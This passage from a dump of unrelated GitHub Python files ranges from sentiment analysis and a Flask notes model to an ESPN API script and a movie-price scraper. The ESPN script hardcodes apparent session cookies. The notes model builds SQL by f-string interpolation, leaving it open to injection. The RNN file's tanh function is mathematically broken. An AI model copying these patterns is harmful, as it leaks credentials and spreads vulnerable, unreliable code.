matplotlib\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\npunctuation_chars = [\"'\", '\"', \",\", \".\", \"!\", \":\", \";\", '#', '@']\n\ndef strip_punctuation(string):\n for char in string:\n if char in punctuation_chars:\n string = string.replace(char, '')\n return string\n\npositive_words = []\nwith open(\"positive_words.txt\") as pos_f:\n for lin in pos_f:\n if lin[0] != ';' and lin[0] != '\\n':\n positive_words.append(lin.strip())\n\ndef get_pos(long_string):\n string_mod = strip_punctuation(long_string)\n string_list = string_mod.lower().split()\n positive_count = 0\n for word in string_list:\n if word in positive_words:\n positive_count += 1\n return positive_count\n\nnegative_words = []\nwith open(\"negative_words.txt\") as pos_f:\n for lin in pos_f:\n if lin[0] != ';' and lin[0] != '\\n':\n negative_words.append(lin.strip())\n\ndef get_neg(x):\n string_mod = strip_punctuation(x)\n string_list = string_mod.lower().split()\n negative_count = 0\n for word in string_list:\n if word in negative_words:\n negative_count += 1\n return negative_count\n\nrows_list = []\nwith open('project_twitter_data_input.csv', 'r') as fh:\n for line in fh:\n new_line = line.strip().split(',')\n retweet_count = new_line[1]\n reply_count = new_line[2]\n positive_score = get_pos(new_line[0])\n negative_score = get_neg(new_line[0])\n net_score = positive_score-negative_score\n row_string = '{}, {}, {}, {}, {}'.format(retweet_count, reply_count, positive_score, negative_score, net_score)\n rows_list.append(row_string)\n\nresulting_data = open('resulting_data.csv', 'w')\nresulting_data.write('Number of Retweets, Number of Replies, Positive Score, Negative Score, Net Score')\nresulting_data.write('\\n')\nfor string in rows_list[1:]:\n resulting_data.write(string)\n resulting_data.write('\\n')\n\n\nresulting_data.close()\n\nmaster_df = pd.read_csv('resulting_data.csv')\nx = pd.read_csv('resulting_data.csv',usecols=[' Net Score'])\ny_size_color = pd.read_csv('resulting_data.csv',usecols=['Number of Retweets']).values.flatten()\n\nfig, ax = plt.subplots(figsize=(12,12))\n\nsns.set_style(\"darkgrid\")\nsns.scatterplot(x=\" Net Score\",y=\"Number of Retweets\",data=master_df,size=y_size_color,hue=y_size_color,palette=\"dark:m_r\",ax=ax)\nax.set_xlabel(\"Net Analysis Score\")\nax.set_ylabel(\"Number of Retweets\")\nax.set_title(\"Sentiment Analysis Results with sample Twitter data\")\n\nplt.show()\nplt.savefig(\"sentiment_plot.png\",dpi=300)","repo_name":"tituslje/Python_Mini_Showcases","sub_path":"Coursera_mini_projs/Sentiment_analysis/src/sentiment_analysis_proj.py","file_name":"sentiment_analysis_proj.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"24585880972","text":"class Pieza:\n def __init__(self, tipo, equipo, fila, col):\n self.tipo = tipo\n self.equipo = equipo\n self.fila = fila\n self.col = col\n self.enroque = False\n \n def getPieza(self):\n if self.equipo == 0:\n return \"\\033[;31m\"+ self.tipo + \"\\033[;37m\"\n else:\n return \"\\033[;36m\"+ self.tipo + \"\\033[;37m\"\n\n\n ","repo_name":"adrian-soria-upc/sad-ferran-adrian","sub_path":"Projecte/versions/v4/piezas/pieza.py","file_name":"pieza.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"45560238683","text":"# pylint: disable=invalid-name, unused-variable\n\"\"\"NN operator common utilities\"\"\"\nfrom __future__ import absolute_import\n\nimport tvm\nfrom ..util import get_const_int\n\ndef infer_pad(data, data_pad):\n \"\"\"Infer the padding from stages in reverse.\n\n Parameters\n ----------\n data : Tensor\n data stage.\n\n data_pad : Tensor\n pad stage.\n\n Returns\n -------\n hpad : int\n padding size on height\n wpad : int\n padding size on width\n \"\"\"\n if data_pad is None:\n return 0, 0\n _, _, IH, IW = data.shape\n _, _, TH, TW = data_pad.shape\n hpad = (TH - IH) // 2\n wpad = (TW - IW) // 2\n return get_const_int(hpad), get_const_int(wpad)\n\ndef infer_stride(data, kernel, out):\n \"\"\"Infer the stride from stages in reverse.\n\n Parameters\n ----------\n data : Tensor\n data stage.\n\n kernel : Tensor\n kernel stage.\n\n out : Tensor\n output stage.\n\n Returns\n -------\n hstride : int\n stride size on height\n wstride : int\n stride size on width\n \"\"\"\n _, _, IH, IW = data.shape\n _, _, KH, KW = kernel.shape\n _, _, OH, OW = out.shape\n hstride = (IH - KH) // tvm.make.Max(OH - 1, 1) + tvm.select(OH == 1, 1, 0)\n wstride = (IW - KW) // tvm.make.Max(OW - 1, 1) + tvm.select(OW == 1, 1, 0)\n return get_const_int(hstride), get_const_int(wstride)\n\n\ndef get_pad_tuple(padding, kernel):\n \"\"\"Common code to get the pad option\n\n Parameters\n ----------\n padding : int or str\n Padding size, or ['VALID', 'SAME']\n\n kernel : tuple of int\n Conv kernel size\n\n Returns\n -------\n pad_top : int\n Padding size on top\n\n pad_left : int\n Padding size on left\n\n pad_down : int\n Padding size on down.\n\n pad_right : int\n Padding size on right.\n \"\"\"\n # compute the padding size\n if isinstance(padding, (tuple, list)):\n pad_h = padding[0] * 2\n pad_w = padding[1] * 2\n elif isinstance(padding, int):\n pad_h = pad_w = padding * 2\n elif padding == \"VALID\":\n pad_h = 0\n pad_w = 0\n elif padding == \"SAME\":\n pad_h = kernel[0] - 1\n pad_w = kernel[1] - 1\n else:\n raise ValueError(\"Unknown padding option %s\" % padding)\n pad_top = (pad_h + 1) // 2\n pad_left = (pad_w + 1) // 2\n return pad_top, pad_left, pad_h - pad_top, pad_w - pad_left\n","repo_name":"researchmm/tasn","sub_path":"tasn-mxnet/3rdparty/tvm/topi/python/topi/nn/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":216,"dataset":"github-code","pt":"76"} +{"seq_id":"1665095824","text":"from me.beagle.object_oriented.Person import Person # 命名空间一定要像这样写全包含到文件名为止,否则会出现 'typeerror module() takes at most 2 arguments (3 given)'错误\r\nfrom me.beagle.object_oriented.Gender import Gender # 千万不能这样写 from me.beagle.object_oriented import Gender\r\nfrom me.beagle.object_oriented.Abstract import Abstract # 这里是含有抽象方法的继承抽象类基类的自定义抽象类\r\nimport logging\r\n\r\n# __私有变量/对象 __protectObject\r\n# _受保护的变量/对象 _name\r\n# __系统级别的方法__ __name__\r\n# _受保护的方法() _protectMethod()\r\n# __私有方法() __privateMethod()\r\n# __系统方法__() __init__()\r\n\r\nclass Parent(Person,Abstract):\r\n # __private_status = \"Private field\"\r\n # public_field = \"Public field\"\r\n address = \"\"\r\n role = \"\"\r\n\r\n @classmethod # 使该方法能够成为初始化该类的方法\r\n def init_other__(self):\r\n return Parent()\r\n\r\n # Python不需要重载方法,如果有可变参数,则使用下列形式制作方法即可\r\n # 使用带默认值的参数就可以在使用该方法时进行可变长度传入参数\r\n def __init__(self, name=\"\", age=0, gender=\"\", address=\"\", role=\"\"): # 带有父类参数的全参构造函数\r\n super(Parent, self).__init__(name, age, gender) # 使用super方法可以引入构造父类,然后实用父类的方法\r\n self.address = address\r\n self.role = role\r\n\r\n # 如果一个方法内含有带默认值和不带默认值的参数,\r\n # 则不带默认值的参数一定要放在 带默认值参数的前面,否则会报语法错误\r\n def sayHello(self, name, age=0):\r\n print(str(name) + \"说到: Hello,world!\")\r\n if age > 0 :\r\n print(\"我\" + str(age) + \"岁\")\r\n\r\n\r\ndef __main__(*args):\r\n p2 = Parent.init_other__()\r\n p2.sayHello(\"hh\")\r\n p1 = Parent()\r\n p = Parent(\"Name\", 38, Gender.male, \"Address\", \"Father\")\r\n p.sayHello(input(\"怎么称呼?: \"), int(input(\"年龄?:\")))\r\n print([p.name, p.age, p.gender.name, p.address, p.role])\r\n\r\nif __name__ == '__main__':\r\n __main__()\r\nelse:\r\n pass","repo_name":"beagle4ce/PythonsTrainings","sub_path":"source/me/beagle/object_oriented/Parent.py","file_name":"Parent.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"18752971049","text":"hidden_dim = 100 \r\noutput_dim = 80\r\ninput_weights = np.random.uniform(0, 1, (hidden_dim, hidden_dim))\r\ninternal_state_weights = np.random.uniform(0,1, (hidden_dim, hidden_dim))\r\noutput_weights = np.random.uniform(0,1, (output_dim,hidden_dim))\r\n\r\ninput_string = [2,45,10,65]\r\nembeddings = []\r\nfor i in range(0,T):\r\n x = np.random.randn(hidden_dim,1)\r\n embeddings.append(x)\r\n\r\noutput_mapper = {}\r\nfor index_value in output_string :\r\n output_mapper[index_value] = identity_matrix[index_value,:]\r\n\r\noutput_t = {}\r\ni=0\r\nfor key,value in output_mapper.items():\r\n output_t[i] = value\r\n i += 1\r\n\r\ndef tanh_activation(Z):\r\n return (np.exp(Z)-np.exp(-Z))/(np.exp(Z)-np.exp(-Z))\r\n\r\ndef softmax_activation(Z):\r\n e_x = np.exp(Z - np.max(Z))\r\n return e_x / e_x.sum(axis=0)\r\n\r\n\r\ndef Rnn_forward(input_embedding, input_weights, internal_state_weights, prev_memory,output_weights):\r\n forward_params = []\r\n W_frd = np.dot(internal_state_weights,prev_memory)\r\n U_frd = np.dot(input_weights,input_embedding)\r\n sum_s = W_frd + U_frd\r\n ht_activated = tanh_activation(sum_s)\r\n yt_unactivated = np.asarray(np.dot(output_weights, tanh_activation(sum_s)))\r\n yt_activated = softmax_activation(yt_unactivated)\r\n forward_params.append([W_frd,U_frd,sum_s,yt_unactivated])\r\n return ht_activated,yt_activated,forward_params\r\n\r\n\r\n\r\n","repo_name":"NPU-IIL/DeepLearningBookWriting","sub_path":"Chapter_05/src/rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"30899020445","text":"from flask.json import jsonify\nfrom app.models.connection import connect_to_database\nimport app.models.users as users_model\nimport app.models.courses as courses_model\nimport app.models.subjects as subjects_model\n\n\ndef save_notes(notes):\n mydb = connect_to_database()\n mycursor = mydb.cursor()\n\n sql = \"INSERT INTO notes (id, name, uploaded_by, uploaded_date, course, subject, download_url) VALUES (%s, %s, %s, %s, %s, %s, %s)\"\n val = (notes['id'], notes['name'], notes['uploaded_by'],\n notes['uploaded_date'], notes['course'], notes['subject'], notes['download_url'])\n mycursor.execute(sql, val)\n mydb.commit()\n\n if(mycursor.rowcount < 1):\n return jsonify(\n success=False,\n message=\"Saving notes Failed\",\n data=None\n )\n\n return jsonify(\n success=True,\n message=\"Notes Saved Succesfully\",\n data=None\n )\n\n\ndef get_all_notes():\n mydb = connect_to_database()\n mycursor = mydb.cursor()\n\n sql = f\"SELECT * FROM notes\"\n mycursor.execute(sql)\n results = mycursor.fetchall()\n notes = []\n print(results)\n for note in results:\n print(note)\n user = users_model.get_user({\"email\": note[1]})\n course = courses_model.getCourseByID(note[3])['data']['course']\n subject = subjects_model.getSubjectByID(note[4])['data']['subject']\n print(subject)\n notes.append({\n \"id\": note[0],\n \"uploaded_by\": {\n \"email\": note[1],\n \"name\": user['name']\n },\n \"uploaded_date\": note[2],\n \"course\": {\n \"id\": course['id'],\n \"name\": course['name']\n },\n \"subject\": {\n \"id\": subject['id'],\n \"name\": subject['name']\n },\n \"download_url\": note[5],\n \"name\": note[6]\n })\n return jsonify(\n error=False,\n data={\"notes\": notes},\n message=\"Fetch Notes Success\"\n )\n\n\ndef search_notes(notes):\n mydb = connect_to_database()\n mycursor = mydb.cursor()\n\n sql = f\"SELECT * FROM notes where course='{notes['course']}'\"\n if notes['subject'] != \"null\":\n sql = f\"SELECT * FROM notes where course='{notes['course']}' AND subject='{notes['subject']}'\"\n\n mycursor.execute(sql)\n results = mycursor.fetchall()\n notes = []\n for note in results:\n print(note)\n user = users_model.get_user({\"email\": note[1]})\n course = courses_model.getCourseByID(note[3])['data']['course']\n subject = subjects_model.getSubjectByID(note[4])['data']['subject']\n notes.append({\n \"id\": note[0],\n \"uploaded_by\": {\n \"email\": note[1],\n \"name\": user['name']\n },\n \"uploaded_date\": note[2],\n \"course\": {\n \"id\": course['id'],\n \"name\": course['name']\n },\n \"subject\": {\n \"id\": subject['id'],\n \"name\": subject['name']\n },\n \"download_url\": note[5],\n \"name\": note[6]\n })\n return jsonify(\n error=False,\n data={\"notes\": notes},\n message=\"Search Notes Success\"\n )\n\n\ndef get_notes_count(data):\n mydb = connect_to_database()\n mycursor = mydb.cursor()\n sql = f\"SELECT COUNT(uploaded_by) FROM notes WHERE uploaded_by='{data['email']}';\"\n mycursor.execute(sql)\n results = mycursor.fetchall()\n return jsonify(\n error=False,\n data={\"count\": results[0][0]},\n message=\"Fetch Notes Count Success\"\n )\n","repo_name":"sourabh003/college-space","sub_path":"app/models/notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"2124800614","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n\nleague_id = 38458828\nseason_id = 2022\nespn_cookies = {\n 'swid': '{4131C795-BB33-48C6-A63F-C6CB9B9E45A8}',\n 'espn_s2': 'AECDmatkg96WGvmUR9PVliLRwEY788zrR9K1bsXdHn3wF4ZVIr9HQen6DoF6Y8yx5nWUW0sB0WIxWHmEzTlUfaSIgDjnTOdQbDowoUm9dlwrUxJx2OQ3AfrG4muTHtI43am%2Be8w4Uy4%2FbnAZQ3bncfPba9q18Lbi7y7L%2BUVJXquHXZUDmbRHPR5x3XYrp9WZPwgmvDtTpJOQaJYUJdziR9m%2FGy0VGlGmCooUUBOO%2BSEvp6mx%2BaiPQj1t9uD4s6uc5skPPhLIPaZkXyDxfHgJS%2BcUBLMAqb2X3H7e9spcf0483g%3D%3D'\n }\n# url = \"https://fantasy.espn.com/apis/v3/games/ffl/leagueHistory/\" + \\\n# str(league_id) + \"?seasonId=\" + str(year)\n\n# r = requests.get('https://fantasy.espn.com/apis/v3/games/ffl/seasons/2022/segments/0/leagues/38458828?view=mDraftDetail&view=mSettings&view=mTeam&view=modular&view=mNav',\n# cookies={\n# 'swid': '{4131C795-BB33-48C6-A63F-C6CB9B9E45A8}',\n# 'espn_s2': 'AECDmatkg96WGvmUR9PVliLRwEY788zrR9K1bsXdHn3wF4ZVIr9HQen6DoF6Y8yx5nWUW0sB0WIxWHmEzTlUfaSIgDjnTOdQbDowoUm9dlwrUxJx2OQ3AfrG4muTHtI43am%2Be8w4Uy4%2FbnAZQ3bncfPba9q18Lbi7y7L%2BUVJXquHXZUDmbRHPR5x3XYrp9WZPwgmvDtTpJOQaJYUJdziR9m%2FGy0VGlGmCooUUBOO%2BSEvp6mx%2BaiPQj1t9uD4s6uc5skPPhLIPaZkXyDxfHgJS%2BcUBLMAqb2X3H7e9spcf0483g%3D%3D'\n# }\n# )\n# res = r.json()\n# print(len(res))\n# print(res.keys())\n# for k, v in res.items():\n# print(f\"{k}: {type(v)}\")\n\n# print(res[\"status\"])\n\n\n\nurl = \"https://fantasy.espn.com/apis/v3/games/ffl/seasons/{}?view=proTeamSchedules_wl\".format(season_id)\nr = requests.get(url, cookies=espn_cookies)\nteam_data = r.json()\nteam_names = team_data['settings']['proTeams']\ndf = pd.DataFrame(team_names) # get only needed columns for teams\nteam_df = df[['id', 'location', 'name']]\nteam_df[\"team name\"] = team_df['location'].astype(str) +\" \"+ team_df[\"name\"] # rename in column\nteam_df.rename(columns = {'id':'team_id'}, inplace = True)\n\n# soup = BeautifulSoup(r.content, 'html.parser')\n# table = soup.find('table', class_='playerTableTable')\n# tdf = pd.read_html(str(table), flavor='bs4')[0]\n\nprint(team_df.head())\n","repo_name":"robert-foley/fantasy-fantasy","sub_path":"espn.py","file_name":"espn.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"30100440218","text":"#!/usr/bin/env python3\n\"\"\"\nNome do Script: get-developer-by-apps.py\nAutor: Pedro Gomes \nData de Criação: set/2023\nDescrição: Mostra o nome do developers de um app especifico\n\"\"\"\n\nimport argparse\nimport json\nfrom google.oauth2 import service_account\nfrom googleapiclient.discovery import build\nimport os\n\nparser = argparse.ArgumentParser(description=\"Pesquisa o developer do Apigee pelo Apps e Organization.\")\nparser.add_argument(\"--service-account-env\", required=True, help=\"Variável de ambiente com as informações do service Account.\")\nparser.add_argument(\"--org\", required=True, help=\"Organization Apigee.\")\nparser.add_argument(\"--app-name\", required=True, help=\"Nome do App do Apigee.\")\n\nargs = parser.parse_args()\n\nservice_account_info = os.environ.get(args.service_account_env)\n\nif not service_account_info:\n raise ValueError(\"As informações da conta de serviço não foram fornecidas nas variáveis de ambiente.\")\n\ncredentials_info = json.loads(service_account_info)\n\ncredentials = service_account.Credentials.from_service_account_info(\n credentials_info,\n scopes=['https://www.googleapis.com/auth/cloud-platform']\n)\n\napigee_service = build('apigee', 'v1', credentials=credentials)\n\norg = args.org\napp_name = args.app_name\n\ndevelopers = apigee_service.organizations().developers().list(\n parent=f'organizations/{org}'\n).execute()\n\ndeveloper_found = None\n\nfor developer in developers.get('developer', []):\n apps = apigee_service.organizations().developers().apps().list(\n parent=f'organizations/{org}/developers/{developer[\"email\"]}'\n ).execute()\n for app in apps.get('app', []):\n if app['appId'] == app_name:\n developer_found = developer\n break\n\nif developer_found:\n print(f'{developer_found[\"email\"]}')\nelse:\n print(f'Nenhum desenvolvedor encontrado para o App {app_name}.')\n","repo_name":"pehgomess/apigee-adminstrative-api","sub_path":"files/get-developer-by-apps.py","file_name":"get-developer-by-apps.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"37759766059","text":"import pandas as pd\nimport numpy as np\nimport pickle\nfrom nltk.metrics.distance import edit_distance\n# import our tokenization, lemmatization, cleaning, etc. function\nfrom fcool_unctions import krasavchik\n\n# load the classifier\nmini_model = pickle.load(open('mini_model.sav', 'rb'))\n\n# pridicts the product category based on query\n\n\ndef final_quering(\n query,\n distince_thresh=4, # threshold for levinshtein distance\n matching_by_first_letter=True, # apply fuzzy matching only for the words that start from the same letter - major efficency boost\n certanty_thresh=0.9, # threshold for our certanty in top 1 prediction - i.e. \"credible region\" we set to 95% from top proba\n # (set certanty_thresh to None if ypu want to load the top 1 recomendation)\n max_printed_values=10, # max number of recomanded items\n show_more=False # show more info on the results\n ):\n \n # if empty string is passed\n if query=='':\n return ''\n\n # clean up the query\n needed=krasavchik(query)\n\n # strict match\n all_features=pd.DataFrame({'words': mini_model.feature_names_in_})\n we_have_it=all_features[all_features.words.isin(needed)].words.tolist()\n\n # list of words that dont have a match\n unmatched = list(set(needed)-set(we_have_it))\n \n # final query dtm\n final_dataframe=pd.DataFrame(0, index=np.arange(1), columns=mini_model.feature_names_in_)\n \n # fuzzy match: I need to vectorize that search - may be later...\n\n if len(unmatched)>0:\n \n for i in unmatched:\n\n # list to store the distances at each iteration\n levin=[]\n\n # match only the one that starts with the same letter (people dont mistake their first letter)\n if matching_by_first_letter is True:\n # for faster perfomance\n iteration=final_dataframe.columns[final_dataframe.columns.astype(str).str[0]==i[0]].tolist()\n else:\n iteration=final_dataframe.columns.tolist()\n\n # let's iterate through all the words in the cleaned query \n for j in iteration:\n dis=edit_distance(j, i, transpositions=True)\n if dis>=distince_thresh:\n dis=0\n else:\n # inverse of the distance - correct direction of the value\n dis=1/dis\n\n levin.append(dis)\n \n final_dataframe[iteration]=levin\n\n # plug in the ones we have - ths the dtm for the user query\n final_dataframe[we_have_it]=1\n \n # some info on fuzzy matching\n if show_more is True:\n\n print('Words with perfect matching: ', we_have_it)\n print('Words with no matching - fuzzy matching applied: ', unmatched)\n # print(final_predictions.sort_values(by='proba', ascending=False).head(10))\n \n # we can output top 1 prediction on user query \n if certanty_thresh is None:\n \n return mini_model.predict(final_dataframe)[0]\n\n # output all categories that fall under our \"credible region\" - recommending the best matches\n else:\n # df with final predictions\n final_predictions=pd.DataFrame({'products': mini_model.classes_.reshape(-1), \n 'proba': mini_model.predict_proba(final_dataframe).reshape(-1)})\n # Credible region\n proba_thresh = (final_predictions.proba.max())*certanty_thresh\n\n # final list of matching products\n at_last = final_predictions[final_predictions.proba>proba_thresh]\\\n .sort_values('proba', ascending=False).products.tolist()\n\n # if there is no good match (give the thresh the output = 50% all products in DB)\n if len(at_last) >= round(len(final_predictions.products)/2):\n return '''There are no good matches to your request :(\\nTry rephrazing.'''\n\n else:\n return at_last[0:max_printed_values]\n","repo_name":"Levishalom/NLP_Ecomerce_searching_engine","sub_path":"final_match.py","file_name":"final_match.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"17219267553","text":"from __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\nfrom django_changeset.models import RevisionModelMixin\n\nfrom eric.core.models import disable_permission_checks\n\n\ndef create_virtual_root_directory(apps, schema_editor):\n RevisionModelMixin.set_enabled(False)\n\n db_alias = schema_editor.connection.alias\n\n Directory = apps.get_model(\"drives\", \"Directory\")\n Drive = apps.get_model(\"drives\", \"Drive\")\n\n with disable_permission_checks(Directory):\n with disable_permission_checks(Drive):\n # iterate over all drives\n for drive in Drive.objects.all():\n # get all root directories of this drive\n root_directories = Directory.objects.filter(drive=drive, directory=None)\n\n if len(root_directories) == 1:\n # if there is only one root directory, we dedicate this as the new virtual root\n root_directories.update(is_virtual_root=True, name=\"/\")\n else:\n # create a new virtual root and move all the others\n root_directory = Directory.objects.create(\n drive=drive, directory=None, is_virtual_root=True, name=\"/\"\n )\n\n root_directories.exclude(pk=root_directory.pk).update(directory=root_directory)\n\n RevisionModelMixin.set_enabled(True)\n\n\ndef remove_virtual_root_directory(apps, schema_editor):\n RevisionModelMixin.set_enabled(False)\n\n db_alias = schema_editor.connection.alias\n\n Directory = apps.get_model(\"drives\", \"Directory\")\n Drive = apps.get_model(\"drives\", \"Drive\")\n\n with disable_permission_checks(Directory):\n with disable_permission_checks(Drive):\n # iterate over all drives\n for drive in Drive.objects.all():\n # get all virtual root directories of this drive\n virtual_root_directories = Directory.objects.filter(drive=drive, directory=None, is_virtual_root=True)\n # get all directories that have one of those virtual root directories as parent\n sub_root_directories = Directory.objects.filter(directory__in=virtual_root_directories)\n # update their parents\n sub_root_directories.update(directory=None)\n # and delete virtual root directories\n virtual_root_directories.delete()\n\n\n RevisionModelMixin.set_enabled(True)\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('drives', '0007_drive_rename'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='directory',\n name='is_virtual_root',\n field=models.BooleanField(default=False, editable=False, verbose_name='Whether this directory is the virtual root directory of the current drive'),\n ),\n migrations.RunPython(create_virtual_root_directory, remove_virtual_root_directory),\n ]\n","repo_name":"eWorkbench/eWorkbench","sub_path":"backend-django/app/eric/drives/migrations/0008_directory_is_virtual_root.py","file_name":"0008_directory_is_virtual_root.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"76"} +{"seq_id":"10637545015","text":"# mp4.py\n# ---------------\n# Licensing Information: You are free to use or extend this projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to the University of Illinois at Urbana-Champaign\n#\n# Created Fall 2018: Margaret Fleck, Renxuan Wang, Tiantian Fang, Edward Huang (adapted from a U. Penn assignment)\n# Modified Spring 2020: Jialu Li, Guannan Guo, and Kiran Ramnath\n# Modified Fall 2020: Amnon Attali, Jatin Arora\n# Modified Spring 2021 by Kiran Ramnath (kiranr2@illinois.edu)\n\n\"\"\"\nThis file should not be submitted - it is only meant to test your implementation of the Viterbi algorithm. \n\"\"\"\nfrom utils import read_files, get_nested_dictionaries\nimport math\nsmoothing_constant = 1e-10\n\ndef main():\n test, emission, transition, output = read_files()\n emission, transition = get_nested_dictionaries(emission, transition)\n initial = transition[\"S\"]\n prediction = []\n \n \"\"\"WRITE YOUR VITERBI IMPLEMENTATION HERE\"\"\"\n# print(transition[\"VB\"])\n backptr = [] #an array of dictionary contains back pointer\n probab = [] #an array of dictionary contains noderobability\n for tag in initial:\n initial[tag] *= emission[tag][test[0][0]]\n probab.append(initial)\n for i in range(1,len(test[0])): #exclude START and END\n word = test[0][i]\n probdic = {}\n backdic = {}\n for tag in emission:\n wordgiventag = math.log(emission[tag][word])\n maxprob = -math.inf\n bkptr = \"\"\n prevstate = probab[-1]\n for prevtag in prevstate:\n taggivenprev = math.log(transition[prevtag][tag])\n probprev = prevstate[prevtag]\n if taggivenprev+wordgiventag+prevstate[prevtag] > maxprob:\n bkptr = prevtag\n maxprob = taggivenprev+wordgiventag+prevstate[prevtag]\n probdic[tag] = maxprob\n backdic[tag] = bkptr \n probab.append(probdic)\n backptr.append(backdic)\n print(backptr)\n print(len(test[0]))\n print(len(backptr))\n finaltag = probab[-1]\n final = \"\"\n maxfinal = -math.inf\n for tag in finaltag:\n if finaltag[tag] > maxfinal:\n maxfinal = finaltag[tag]\n final = tag\n sentag = []\n # sentag.append(tuple([\"END\",\"END\"]))\n lastword = test[0][-1]\n lasttag = final\n sentag.insert(0, tuple([lastword, lasttag]))\n for i in range(len(test[0]) - 1):\n word = test[0][len(test[0]) - 2 - i]\n tag = backptr[len(backptr) - 1 - i][lasttag]\n lasttag = tag\n sentag.insert(0, tuple([word, tag]))\n # sentag.insert(0,tuple([\"START\",\"START\"]))\n prediction = sentag\n\n print('Your Output is:',prediction,'\\n Expected Output is:',output)\n \n\n\nif __name__==\"__main__\":\n main()","repo_name":"jieshuh2/Artificial-Intelligence-CS440","sub_path":"assignment4/test_viterbi/test_viterbi.py","file_name":"test_viterbi.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"8970595056","text":"#coding=utf8\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\n\nfrom movies_api.celery import app\n\nNUOMI_TIME_OUT = 3\n\n#糯米电影列表\n@app.task(bind=True)\ndef nuomi_get_movie_list(self, url):\n r = requests.get(url,timeout=NUOMI_TIME_OUT)\n r.encoding = 'utf-8'\n soup = BeautifulSoup(r.text, \"html.parser\")\n ul = soup.find('ul', class_='clearfix j-sliders')\n li = ul.find_all('li')\n result = []\n for i in li:\n a = i.find_all('a')\n for j in a:\n name = j['title']\n junk = u'\\uff1a'\n name = name.replace(junk, '')\n name = name.replace(':', '')\n href = j['href']\n nuomi_movie_id = re.search(r'\\d+', href).group()\n\n result.append({\n 'movie_name': name,\n 'meituan_movie_id': '',\n 'nuomi_movie_id': nuomi_movie_id,\n 'taobao_movie_id': '',\n })\n return result\n\n#糯米行政区列表\n@app.task(bind=True)\ndef nuomi_get_district_list(self, url):\n r = requests.get(url,timeout=NUOMI_TIME_OUT)\n r.encoding = 'utf-8'\n soup = BeautifulSoup(r.text, \"html.parser\")\n div = soup.find('div', id='j-district-item-wrap')\n span = div.find_all('span')\n result = []\n for i in span:\n a = i.parent\n i.decompose()\n district_name = a.get_text()\n href = a['href']\n nuomi_district_id = re.search(r'(?<=\\d/).*(?=/sub)', href).group()\n result.append({\n 'district_name': district_name,\n 'meituan_district_id': '',\n 'nuomi_district_id': nuomi_district_id,\n 'taobao_district_id': '',\n })\n return result\n\n#糯米电影院列表\n@app.task(bind=True)\ndef nuomi_get_cinema_list(self, url, city=u'武汉'):\n r = requests.get(url,timeout=NUOMI_TIME_OUT)\n r.encoding = 'utf-8'\n soup = BeautifulSoup(r.text, \"html.parser\")\n div = soup.find_all('div', class_='cinema-info clearfix')\n junk_left = u'\\uff08'\n junk_right = u'\\uff09'\n result = []\n for i in div:\n data = i['data-cinema']\n nuomi_cinema_id = re.search(r'(?<=uid\":\").*(?=\",\"lowe)', data).group()\n h3 = i.find('h3', class_='cib-name')\n text = h3.get_text()\n cinema_name = re.search(r'\\S+', text).group()\n cinema_name = cinema_name.replace(u'国际', '')\n cinema_name = cinema_name.replace(city, '')\n cinema_name = cinema_name.replace(junk_left, '')\n cinema_name = cinema_name.replace(junk_right, '')\n cinema_name = cinema_name.replace('(', '')\n cinema_name = cinema_name.replace(')', '')\n cinema_name = cinema_name.replace('-', '')\n result.append({\n 'cinema_name': cinema_name,\n 'meituan_cinema_id': '',\n 'nuomi_cinema_id': nuomi_cinema_id,\n 'taobao_cinema_id': '',\n })\n return result\n\n#糯米价格列表\n@app.task(bind=True)\ndef nuomi_get_price_list(self, url):\n r = requests.get(url, timeout=NUOMI_TIME_OUT)\n r.encoding = 'utf-8'\n soup = BeautifulSoup(r.text, \"html.parser\")\n div = soup.find('div', class_='table')\n tr = div.find_all('tr')\n result = []\n for i in tr:\n td = i.find_all('td')\n end_time_text = td[0].span.get_text()\n end_time = re.search(r'\\d+:\\d+', end_time_text).group()\n td[0].span.decompose()\n start_time_text = td[0].get_text()\n start_time = re.search(r'\\S+', start_time_text).group()\n price_text = td[3].span.get_text()\n nuomi_now_price = re.search(r'\\d+', price_text).group()\n result.append({\n 'start_time': start_time,\n 'end_time': end_time,\n 'meituan_now_price': '',\n 'nuomi_now_price': nuomi_now_price,\n 'taobao_now_price': '',\n })\n return result\n\n#糯米城市列表\n@app.task(bind=True)\ndef nuomi_get_city_list(self, url):\n from movies_tickets.models import City\n r = requests.get(url, timeout=NUOMI_TIME_OUT)\n r.encoding = 'utf-8'\n soup = BeautifulSoup(r.text, \"html.parser\")\n li = soup.find_all('li', class_='city-list clearfix')\n for i in li:\n a = i.find_all('a')\n for j in a:\n name_text = j.get_text()\n name 